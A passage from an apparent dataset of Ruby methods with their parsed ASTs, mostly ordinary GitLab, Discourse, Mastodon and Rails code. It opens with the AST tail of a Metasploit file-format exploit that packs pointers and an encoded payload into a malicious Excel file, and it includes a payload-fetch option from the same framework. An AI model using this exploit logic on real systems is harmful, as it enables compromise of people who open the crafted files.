children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0001\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack32\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr1\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr2\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr3\"]},\"-\",{\"type\":\"int\",\"children\":[40]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr4\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"add_record\",{\"type\":\"int\",\"children\":[2057]},{\"type\":\"lvar\",\"children\":[\"bofdata\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"add_record\",{\"type\":\"int\",\"children\":[2151]},{\"type\":\"lvar\",\"children\":[\"feathdr\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"add_record\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Creating Excel spreadsheet ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OUTPUTPATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Storage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"out\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"STGM_WRITE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stg\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to create output file\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"stm\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stg\"]},\"create_stream\",{\"type\":\"str\",\"children\":[\"Workbook\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stm\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to create workbook stream\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stm\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stm\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stg\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generated output file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}]}]}","id":"514c7940-a40f-4643-838f-1dc2b2751334"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/importer.rb","start_line":158,"raw_source":"def map_reply(row)\n      parent = @lookup.topic_lookup_from_imported_post_id(row[\"in_reply_to\"])\n\n      if parent.blank?\n        puts \"Parent message #{row[\"in_reply_to\"]} doesn't exist. Skipping #{row[\"msg_id\"]}: #{row[\"subject\"][0..40]}\"\n        return nil\n      end\n\n      mapped = map_post(row)\n      mapped[:topic_id] = parent[:topic_id]\n      mapped\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"map_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"topic_lookup_from_imported_post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"in_reply_to\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parent message \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"in_reply_to\"]}]}]},{\"type\":\"str\",\"children\":[\" doesn't exist. Skipping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"msg_id\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"subject\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[40]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"mapped\",{\"type\":\"send\",\"children\":[null,\"map_post\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapped\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mapped\"]}]}]}","id":"52fe18d3-f448-434d-8b9c-f033eed5d2dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/handlers/notes/copy_service.rb","start_line":122,"raw_source":"def new_notes_emoji(notes_emoji, notes_ids_map)\n            notes_emoji.map do |note_emoji|\n              note_emoji.attributes.except('id').tap do |attrs|\n                attrs['awardable_id'] = notes_ids_map[note_emoji.awardable_id]\n              end\n            end\n          end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"new_notes_emoji\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes_emoji\"]},{\"type\":\"arg\",\"children\":[\"notes_ids_map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes_emoji\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note_emoji\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_emoji\"]},\"attributes\"]},\"except\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"awardable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes_ids_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_emoji\"]},\"awardable_id\"]}]}]}]}]}]}","id":"20613c1f-8ffa-4988-8355-000719eab381"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/error.rb","start_line":112,"raw_source":"def external_url\n    Gitlab::Routing.url_helpers.details_namespace_project_error_tracking_index_url(\n      namespace_id: project.namespace,\n      project_id: project,\n      issue_id: id)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"external_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"details_namespace_project_error_tracking_index_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"ea53a456-de28-4493-9747-2a6edbd7eda5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch/smb.rb","start_line":9,"raw_source":"def initialize(*args)\n    super\n    register_options(\n      [\n        Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\\s\\/\\\\]*$/),\n      ]\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Payload file name to fetch; cannot contain spaces or slashes.\"]},{\"type\":\"str\",\"children\":[\"test.dll\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[^\\\\s/\\\\\\\\]*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"1f492ab5-a1da-4421-a6d7-247314b53665"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/chat_integration_reference_post.rb","start_line":5,"raw_source":"def initialize(user:, topic:, kind:, raw: nil, context: {})\n      @user = user\n      @topic = topic\n      @kind = kind\n      @raw = raw if raw.present?\n      @context = context\n      @created_at = Time.current\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"topic\"]},{\"type\":\"kwarg\",\"children\":[\"kind\"]},{\"type\":\"kwoptarg\",\"children\":[\"raw\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@topic\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@kind\",{\"type\":\"lvar\",\"children\":[\"kind\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@raw\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}","id":"cef07b20-5555-4caf-a71e-2ec8915dc978"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/relative_positioning_shared_examples.rb","start_line":791,"raw_source":"def perform\n          subject.move_to_end\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"move_to_end\"]}]}","id":"3c46dffb-3c93-419e-8e99-3da281fd4dac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/packages/downloadable.rb","start_line":15,"raw_source":"def touch_last_downloaded_at\n      ::Gitlab::Database::LoadBalancing::SessionMap.current(load_balancer).without_sticky_writes do\n        update_column(:last_downloaded_at, Time.zone.now)\n      end\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_last_downloaded_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"SessionMap\"]},\"current\",{\"type\":\"send\",\"children\":[null,\"load_balancer\"]}]},\"without_sticky_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"last_downloaded_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}","id":"9eabf49a-0c6a-43c6-ada8-fcaec0a31b89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/statement.rb","start_line":25,"raw_source":"def truthful?\n            evaluate.present?\n          rescue Expression::ExpressionError\n            false\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"truthful?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"evaluate\"]},\"present?\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Expression\"]},\"ExpressionError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"55c9d422-a232-4e7e-abe0-3f7dab6c0f7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/rapid_diffs/diff_file_header_component.rb","start_line":19,"raw_source":"def file_link\n      helpers.project_blob_path(\n        @diff_file.repository.project,\n        helpers.tree_join(@diff_file.content_sha, @diff_file.new_path)\n      )\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"project_blob_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"repository\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"tree_join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"content_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"new_path\"]}]}]}]}","id":"c27b8aaf-8f56-401d-a8e3-7c5dc008e4ba"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/helpers/meetings_helper.rb","start_line":32,"raw_source":"def format_participant_list(participants)\n    if participants.any?\n      user_links = participants\n        .sort\n        .reject { |p| p.user.nil? }\n        .map { |p| link_to_user p.user }\n\n      safe_join(user_links, \"; \")\n    else\n      t(\"placeholders.default\")\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"format_participant_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"participants\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participants\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_links\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participants\"]},\"sort\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"user\"]},\"nil?\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"lvar\",\"children\":[\"user_links\"]},{\"type\":\"str\",\"children\":[\"; \"]}]}]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"placeholders.default\"]}]}]}]}","id":"7e496ed6-b78e-4829-975a-18ff10daaa9e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/instances/moderation_notes_controller.rb","start_line":41,"raw_source":"def set_instance_note\n    @instance_moderation_note = InstanceModerationNote.find(params[:id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_instance_note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@instance_moderation_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InstanceModerationNote\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"601bbc75-22b2-42cb-9cd9-db11f4081ffe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/autocomplete/group_users_finder.rb","start_line":77,"raw_source":"def group_hierarchy_ids\n      Namespace.from(group_hierarchy_cte.table).select(:id) # rubocop:disable CodeReuse/ActiveRecord\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_hierarchy_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_hierarchy_cte\"]},\"table\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"e8619082-f60d-4568-838a-9747e1be34e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/project.rb","start_line":8,"raw_source":"def go_to_create_project_from_template\n        Page::Project::New.perform(&:click_create_from_template_link)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"go_to_create_project_from_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"New\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"click_create_from_template_link\"]}]}]}]}","id":"3216746d-97ab-4ac8-ad89-8146f5eccc4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/environments/stop_job_failed_worker.rb","start_line":11,"raw_source":"def perform(job_id, _params = {})\n      Ci::Processable.find_by_id(job_id).try do |job|\n        revert_environment(job) if job.stops_environment? && job.failed?\n      end\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_id\"]},{\"type\":\"optarg\",\"children\":[\"_params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Processable\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"job_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"stops_environment?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"failed?\"]}]},{\"type\":\"send\",\"children\":[null,\"revert_environment\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},null]}]}]}","id":"138f852a-10be-4abc-8f43-58d166074085"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":1047,"raw_source":"def resolve_mentioned_name(mention)\n    # NOTE: original_id lookup order is important until post and chat mentions are unified\n    original_id = mention[\"target_id\"] || mention[\"id\"]\n    name = mention[\"name\"]\n\n    case mention[\"type\"]\n    when \"user\", \"Chat::UserMention\"\n      resolved_user_name(original_id, name)\n    when \"group\", \"Chat::GroupMention\"\n      resolved_group_name(original_id, name)\n    when \"Chat::HereMention\"\n      \"here\"\n    when \"Chat::AllMention\"\n      \"all\"\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_mentioned_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"str\",\"children\":[\"target_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"Chat::UserMention\"]},{\"type\":\"send\",\"children\":[null,\"resolved_user_name\",{\"type\":\"lvar\",\"children\":[\"original_id\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"str\",\"children\":[\"Chat::GroupMention\"]},{\"type\":\"send\",\"children\":[null,\"resolved_group_name\",{\"type\":\"lvar\",\"children\":[\"original_id\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Chat::HereMention\"]},{\"type\":\"str\",\"children\":[\"here\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Chat::AllMention\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},null]}]}]}","id":"ba942378-7088-420b-ada8-7f975b9d7d4d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_test.rb","start_line":205,"raw_source":"def test_render_with_flash_now_notice\n    get :render_with_flash_now_notice\n    assert_equal \"Good luck in the somewheres now!\", @controller.flash[:notice]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_with_flash_now_notice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_with_flash_now_notice\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Good luck in the somewheres now!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"flash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notice\"]}]}]}]}]}","id":"c41cac9e-ecb5-4c1d-bdc0-945ab36e0960"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":110,"raw_source":"def combined_exclude_glob_patterns(base_dir)\n      exclude = @config_store.for(base_dir).for_all_cops['Exclude'] || []\n      patterns = exclude.select { |pattern| pattern.is_a?(String) && pattern.end_with?('/**/*') }\n                        .map { |pattern| pattern.sub(\"#{base_dir}/\", '') }\n      \"#{base_dir}/{#{patterns.join(',')}}\"\n    end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"combined_exclude_glob_patterns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exclude\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]},\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Exclude\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"and\",\"children\":[{\"typ